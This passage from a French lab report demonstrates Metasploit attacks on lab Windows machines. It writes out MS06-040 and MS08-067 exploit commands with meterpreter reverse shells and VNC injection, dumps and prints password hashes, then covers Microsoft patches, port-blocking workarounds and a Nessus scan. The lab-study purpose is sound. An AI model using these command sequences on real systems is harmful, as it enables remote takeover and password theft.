2.3 Récupération des mots de passe sous Windows 2K On va exploiter ici la même vulnérabilité que lors de la première attaque, mais en insérant une payload différente, afin de bien mettre en évidence la forte modularité de ce Framework et ainsi son gros point fort. Cette fois-ci, on va utiliser comme payload un meterpreter, qui comme expliqué dans la partie V, va nous permettre de réaliser toutes sortes d actions, et en particulier de récupérer les codes d accès des utilisateurs. L exploit se lance avec les commandes suivantes : use exploit/windows/smb/ms06_040_netapi set payload windows/meterpreter/bind_tcp set RHOST 192.168.0.2 exploit Et enfin la commande «hashdump» nous permet de récupérer les hash des codes utilisateurs : use priv hashdump On obtient les codes pour chaque utilisateur : Administrateur:500:2a2a90d00ef9d2847c3113b4a1a5e3a0:ee2c00cd64d363c6 0349a749adf3a7e3::: Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7 e0c089c0::: Afin d avoir accès aux réels mots de passé, il ne reste «plus» qu à inverser le processus de hachage. Or ce processus est dit «irréversible». Néanmoins, certains logiciels de force brute dits «Brute Force» comme «John The Ripper» y arrivent ; d autres utilisent des tables afin d accélérer le décodage, comme «RainbowCrack». 2.4 Déport d'affichage sous Windows 2K On utilise encore cette fois-ci la vulnérabilité de SMB, mais en insérant un serveur VNC dans le processus (comme expliqué dans la partie V), on va réussir à déporter l affichage de la machine cible sur l écran de la machine attaquante. use exploit/windows/smb/ms06_040_netapi set payload windows/vncinject/reverse_tcp set RHOST 192.168.0.2 set LHOST 192.168.0.3 exploit 25
Capture d écran : Dès lors que l attaquant obtient l affichage de la machine cible, il peut interagir avec celle-ci, et donc exécuter des commandes. Cependant toute commande exécutée du coté de la cible ou de l attaquant est observable par l autre. 26
2.5 Prise en main d une machine sous Windows XP Les attaques disponibles envers l OS Win XP étant plus rares, on utilise ici un exploit crée assez récemment (fin 2008) afin de prendre la main sur cet OS. use exploit/windows/smb/ms08_067_netapi set payload windows/meterpreter/reverse_tcp set RHOST 192.168.0.1 set LHOST 192.168.0.3 exploit L utilisation du meterpreter va nous permettre, comme présenté dans la partie V.1.2, toutes sortes d actions, notamment une modification de sa table de routage, ou la désactivation de la sourie et/ou du clavier de la cible par exemple. Cette vulnérabilité pourrait permettre l'exécution de code à distance si un système affecté recevait une requête RPC spécialement conçue. Cette vulnérabilité est due au fait que le service ne traite pas correctement les requêtes RPC spécialement conçues. Sur les systèmes Windows 2000, Windows XP et Windows Server 2003, un attaquant pourrait exploiter cette vulnérabilité pour exécuter du code arbitraire sans nécessiter d'authentification. Tout attaquant qui parviendrait à exploiter cette vulnérabilité pourrait prendre le contrôle intégral du système affecté. Le service Serveur fournit le support de RPC, de l'impression de fichier et du partage de canal nommé (named pipe) par le réseau. Le service Serveur permet de partager les ressources locales (telles que les disques et les imprimantes) afin que les autres utilisateurs du réseau puissent y avoir accès. Il permet également une communication par canal nommé (named pipe) entre les applications s'exécutant sur d'autres ordinateurs et sur votre ordinateur, ce qui est utilisé pour RPC. La vulnérabilité MS08_067 est présente sur toute la gamme à jour des OS Windows, c est-à-dire Win 2K SP4, Win XP SP3, Win Vista SP1 et Win 7 Beta. A noter que cette vulnérabilité est «Critical» pour Win 2K et XP car elle ne requière pas d authentification, alors que cette dernière est nécessaire sous Vista et 7, ce qui permet de ne classer cette vulnérabilité que comme «Important». 27
Mise à jour corrective : La mise à jour MS08_067 de Microsoft Security remédie à cette faille. A noter qu elle remédie aussi à la faille MS06_040 étudiée plus tôt, étant donné qu elles traitent d une vulnérabilité très similaire. Solutions de contournement concernant la vulnérabilité du service serveur ms08_067 Une solution de contournement fait référence à une modification de paramètre ou de configuration qui ne corrige pas la vulnérabilité sous-jacente mais qui pourrait contribuer à bloquer certains vecteurs d'attaque connus jusqu'à ce que la mise à jour soit appliquée. Voici quelques solutions proposées par Microsoft : 1. Désactiver les services Serveur et Explorateur d'ordinateur Cette technique aide à protéger la vulnérabilité de l'exploitation à distance (voir la procédure en ANNEXE D). Cette solution présente néanmoins quelques limitations. En effet si le service Explorateur d'ordinateur est désactivé, tout service dépendant directement de celui-ci pourrait consigner un message d'erreur dans le journal des événements système. Si le service Serveur est désactivé, le partage de fichiers ou d imprimantes n est plus possible depuis cet ordinateur, mais l affichage et l utilisation du partage de fichiers et d'imprimantes d'autres systèmes sera encore possible. 2. Bloquer les ports TCP 139 et 445 au niveau du pare-feu Ces ports servent à établir une connexion au composant affecté. En bloquant les ports TCP 139 et 445 au niveau du pare-feu, les systèmes situés derrière ce pare-feu ne peuvent plus communiquer avec ces applications affectées. Microsoft recommande cependant de bloquer toute communication entrante non sollicitée en provenance d Internet, afin de renforcer la protection contre des attaques qui pourraient utiliser les autres ports. Cependant plusieurs services Windows utilisent ces ports notamment les applications qui utilisent SMB, le service serveur (Partage de fichier et d'impression)... bloquer ces ports peut entraîner un dysfonctionnement de ces applications. 28
3) Machines cibles Linux Le nombre d attaques disponibles dans le Framework Metasploit concernant l OS Linux étant au maximum de 15, cela réduit conséquemment les possibilités d attaque dans notre cas. Les ports sous Linux étant aussi beaucoup plus fermés que les systèmes Windows, il est encore plus difficile de réaliser une attaque. On peut donc raisonnablement en déduire, en se fixant seulement sur le nombre d attaques, que les systèmes Linux sont plus sûrs que ceux Windows. Attention toutefois, car il faut aussi penser que Windows est une cible privilégiée pour tous les partisans de Linux et de l open-source; les recherches de vulnérabilités sont donc plus actives du côté de Windows. Sous une machine Ubuntu, on peut néanmoins utiliser l outil Nessus afin de faire un état des vulnérabilités de la machine Debian 192.168.1.1. Outre le warning sur le port 113 (voir capture ci-dessus), Nessus nous prévient aussi à propos du protocole ICMP autorisé, qui permet à l'attaquant de connaître la date et l'heure de la machine ; ce qui peut l'aider à réaliser à mettre en déroute des protocoles d'authentification basés sur le temps. Le dernier warning concerne le Csd-monitor (3072 UDP): Il nous indique que le service RPC est en route, et compte tenu de sa réputation en ce qui concerne les failles de sécurité, Nessus recommande de fermer ce port. On constate donc que Nessus ne trouve pas non plus de failles de sécurité critiques dans le système d exploitation Debian. 29